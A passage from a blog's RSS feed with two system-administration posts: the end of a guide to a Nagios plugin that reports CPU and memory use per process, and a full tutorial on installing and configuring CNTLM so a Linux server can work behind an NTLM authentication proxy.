OK /usr/sbin/apache2 CPU: 0% MEM: 1.5% over &lt;span style=&#34;color: #FF6600&#34;&gt;6&lt;/span&gt; processes | &lt;span style=&#34;color: #003333&#34;&gt;proc&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color: #FF6600&#34;&gt;6&lt;/span&gt; &lt;span style=&#34;color: #003333&#34;&gt;mem&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;1.5% &lt;span style=&#34;color: #003333&#34;&gt;cpu&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;0% &lt;span style=&#34;color: #003333&#34;&gt;rss&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;42116.0KB &lt;span style=&#34;color: #003333&#34;&gt;vsz&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;1274760.0KB
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;To monitor apache processes and warn when the CPU uses over 20% and critical when over 30% . Warn when memory is over 0.2% and Critical when memory is over 0.4%&lt;/p&gt;

&lt;div class=&#34;highlight&#34; style=&#34;background: #f0f3f3&#34;&gt;&lt;pre style=&#34;line-height: 125%&#34;&gt;&lt;span&gt;&lt;/span&gt;./check_cpu_proc.sh -p apache -w &lt;span style=&#34;color: #FF6600&#34;&gt;20&lt;/span&gt; -c &lt;span style=&#34;color: #FF6600&#34;&gt;30&lt;/span&gt; -m 0.2 -n 0.4

CRITICAL /usr/sbin/apache2 CPU: 0% MEM: 1.5% over &lt;span style=&#34;color: #FF6600&#34;&gt;6&lt;/span&gt; processes | &lt;span style=&#34;color: #003333&#34;&gt;proc&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color: #FF6600&#34;&gt;6&lt;/span&gt; &lt;span style=&#34;color: #003333&#34;&gt;mem&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;1.5% &lt;span style=&#34;color: #003333&#34;&gt;cpu&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;0% &lt;span style=&#34;color: #003333&#34;&gt;rss&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;42116.0KB &lt;span style=&#34;color: #003333&#34;&gt;vsz&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;1274760.0KB
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;To monitor nagios processes purely for performance data. i.e. no warning or criticals&lt;/p&gt;

&lt;div class=&#34;highlight&#34; style=&#34;background: #f0f3f3&#34;&gt;&lt;pre style=&#34;line-height: 125%&#34;&gt;&lt;span&gt;&lt;/span&gt;./check_cpu_proc.sh -p nagios

OK /usr/lib/nagios/plugins/check_ping CPU: 0% MEM: 0% over &lt;span style=&#34;color: #FF6600&#34;&gt;1&lt;/span&gt; processes | &lt;span style=&#34;color: #003333&#34;&gt;proc&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color: #FF6600&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color: #003333&#34;&gt;mem&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;0% &lt;span style=&#34;color: #003333&#34;&gt;cpu&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;0% &lt;span style=&#34;color: #003333&#34;&gt;rss&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;864.0KB &lt;span style=&#34;color: #003333&#34;&gt;vsz&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;12408.0KB
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;NOTE: this plugin doesn’t check whether the process is running and is purely for monitoring process utilization.&lt;/p&gt;

&lt;h2 id=&#34;nagios-graphs&#34;&gt;Nagios Graphs&lt;/h2&gt;

&lt;p&gt;Below is some examples of graphs created from the performance data output by the plugin:&lt;/p&gt;

&lt;p&gt;The below graphs are of a apache process from a live system&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;http://www.toms-blog.com/images/posts/nagios-check-process/vsz.jpg&#34; alt=&#34;Apache process vsz graph&#34; class=&#34;pure-img&#34;&gt;
&lt;img src=&#34;http://www.toms-blog.com/images/posts/nagios-check-process/rss.jpg&#34; alt=&#34;Apache process rss graph&#34; class=&#34;pure-img&#34;&gt;
&lt;img src=&#34;http://www.toms-blog.com/images/posts/nagios-check-process/processes.jpg&#34; alt=&#34;Apache number of processes graph&#34; class=&#34;pure-img&#34;&gt;
&lt;img src=&#34;http://www.toms-blog.com/images/posts/nagios-check-process/memory.jpg&#34; alt=&#34;Apache total amount of memory usage&#34; class=&#34;pure-img&#34;&gt;
&lt;img src=&#34;http://www.toms-blog.com/images/posts/nagios-check-process/cpu.jpg&#34; alt=&#34;Apache total amount of CPU usage&#34; class=&#34;pure-img&#34;&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Linux behind NTLM authentication proxy using CNTLM</title>
      <link>http://www.toms-blog.com/post/linux-behind-ntlm-authentication-proxy-using-cntlm/</link>
      <pubDate>Sat, 13 Oct 2012 18:16:57 +0000</pubDate>
      
      <guid>http://www.toms-blog.com/post/linux-behind-ntlm-authentication-proxy-using-cntlm/</guid>
      <description>&lt;p&gt;Sometimes you will find your server sat behind a proxy designed for human traffic rather than server traffic and so requires authentication.&lt;/p&gt;

&lt;p&gt;Although the NTLM protocol is grossly insecure it still seems to used in a lot of proxies. To get your server to download updates you will need to make your server play nice with this authentication as a lot of software does not support the NTLM protocol.&lt;/p&gt;

&lt;p&gt;CNTLM solves this issue by adding another proxy layer in front of your software which does not require authentication.&lt;/p&gt;

&lt;p&gt;You can download it from here &lt;a href=&#34;http://cntlm.sourceforge.net/&#34;&gt;http://cntlm.sourceforge.net/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We are installing this on CentOS so we need the RPM, for Ubuntu get the DEB file alternatively download the source code and compile it.&lt;/p&gt;

&lt;p&gt;So on CentOS run:&lt;/p&gt;

&lt;div class=&#34;highlight&#34; style=&#34;background: #f0f3f3&#34;&gt;&lt;pre style=&#34;line-height: 125%&#34;&gt;&lt;span&gt;&lt;/span&gt;rpm -i cntlm-0.92.3-1.x86_64.rpm
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;On Ubuntu run:&lt;/p&gt;

&lt;div class=&#34;highlight&#34; style=&#34;background: #f0f3f3&#34;&gt;&lt;pre style=&#34;line-height: 125%&#34;&gt;&lt;span&gt;&lt;/span&gt;dpkg -i cntlm_0.92.3_amd64.deb
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Once installed edit the configuration file  /etc/cntlm.conf&lt;/p&gt;

&lt;p&gt;Set the username to your domain username and set the domain:&lt;/p&gt;

&lt;div class=&#34;box&#34;&gt;
&lt;p&gt;Username        proxyaccess&lt;/p&gt;

&lt;p&gt;Domain          contorso.com&lt;/p&gt;

&lt;/div&gt;

&lt;p&gt;Remove any passwords. Set the port you want it to listen on, the default is 3128 and set the proxy server you want to go through:&lt;/p&gt;

&lt;div class=&#34;box&#34;&gt;
&lt;p&gt;Listen 3128&lt;/p&gt;

&lt;p&gt;Proxy           10.0.0.1:8080&lt;/p&gt;

&lt;/div&gt;

&lt;p&gt;All we need to do now is create the password hash:&lt;/p&gt;

&lt;div class=&#34;highlight&#34; style=&#34;background: #f0f3f3&#34;&gt;&lt;pre style=&#34;line-height: 125%&#34;&gt;&lt;span&gt;&lt;/span&gt;cntlm -H -M http://10.0.0.1:8080 -c /etc/cntlm.conf
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;-H means create a hash, -M specifies the proxy server and -c specifies the config file to use.&lt;/p&gt;

&lt;p&gt;You will be asked for your password type it and then a hash will be created like below:&lt;/p&gt;

&lt;div class=&#34;box&#34;&gt;
&lt;p&gt;—————————-[ Profile  1 ]——&lt;/p&gt;

&lt;p&gt;Auth            NTLM&lt;/p&gt;

&lt;p&gt;PassNT          44345CE5DA10BCDF46CB34BAB4B5EEF6&lt;/p&gt;

&lt;p&gt;PassLM          BA46510ADEFAE56345ACC34156ADEE36&lt;/p&gt;

&lt;p&gt;————————————————&lt;/p&gt;

&lt;/div&gt;

&lt;p&gt;Copy all of this output and past it into your configuration file. Now all you need to do is start cntlm:&lt;/p&gt;

&lt;div class=&#34;highlight&#34; style=&#34;background: #f0f3f3&#34;&gt;&lt;pre style=&#34;line-height: 125%&#34;&gt;&lt;span&gt;&lt;/span&gt;cntlm -c /etc/cntlm.conf
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;If you get “Exiting with Error check the Logs”. Have a look in the logs&lt;/p&gt;

&lt;p&gt;If you see this entry:&lt;/p&gt;

&lt;p&gt;cntlm: Cannot bind port 3128: Address already in use!&lt;/p&gt;

&lt;p&gt;CNTLM is already running have a look by running:&lt;/p&gt;

&lt;div class=&#34;highlight&#34; style=&#34;background: #f0f3f3&#34;&gt;&lt;pre style=&#34;line-height: 125%&#34;&gt;&lt;span&gt;&lt;/span&gt;ps aux | grep cntlm
&lt;span style=&#34;color: #336666&#34;&gt;kill&lt;/span&gt; -9 PROCESSID
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Where PROCESSID is the ID of the process you want to kill.&lt;/p&gt;

&lt;p&gt;Now try and run CNTLM again and you should be done.&lt;/p&gt;

&lt;p&gt;All you have to do now is point your programs to &lt;a href=&#34;http://127.0.0.1:3128&#34;&gt;http://127.0.0.1:3128&lt;/a&gt; for example for yum edit /etc/yum.conf and add:&lt;/p&gt;

&lt;div class=&#34;box&#34;&gt;
&lt;p&gt;proxy = &lt;a href=&#34;http://127.0.0.1:3128&#34;&gt;http://127.0.0.1:3128&lt;/a&gt;&lt;/p&gt;

&lt;/div&gt;

&lt;p&gt;Now YUM should work. Dont forget to have a look in /var/log/messages or /var/log/syslog for any errors.&lt;/p&gt;
</description>
    </item>
    
  </channel>
</rss>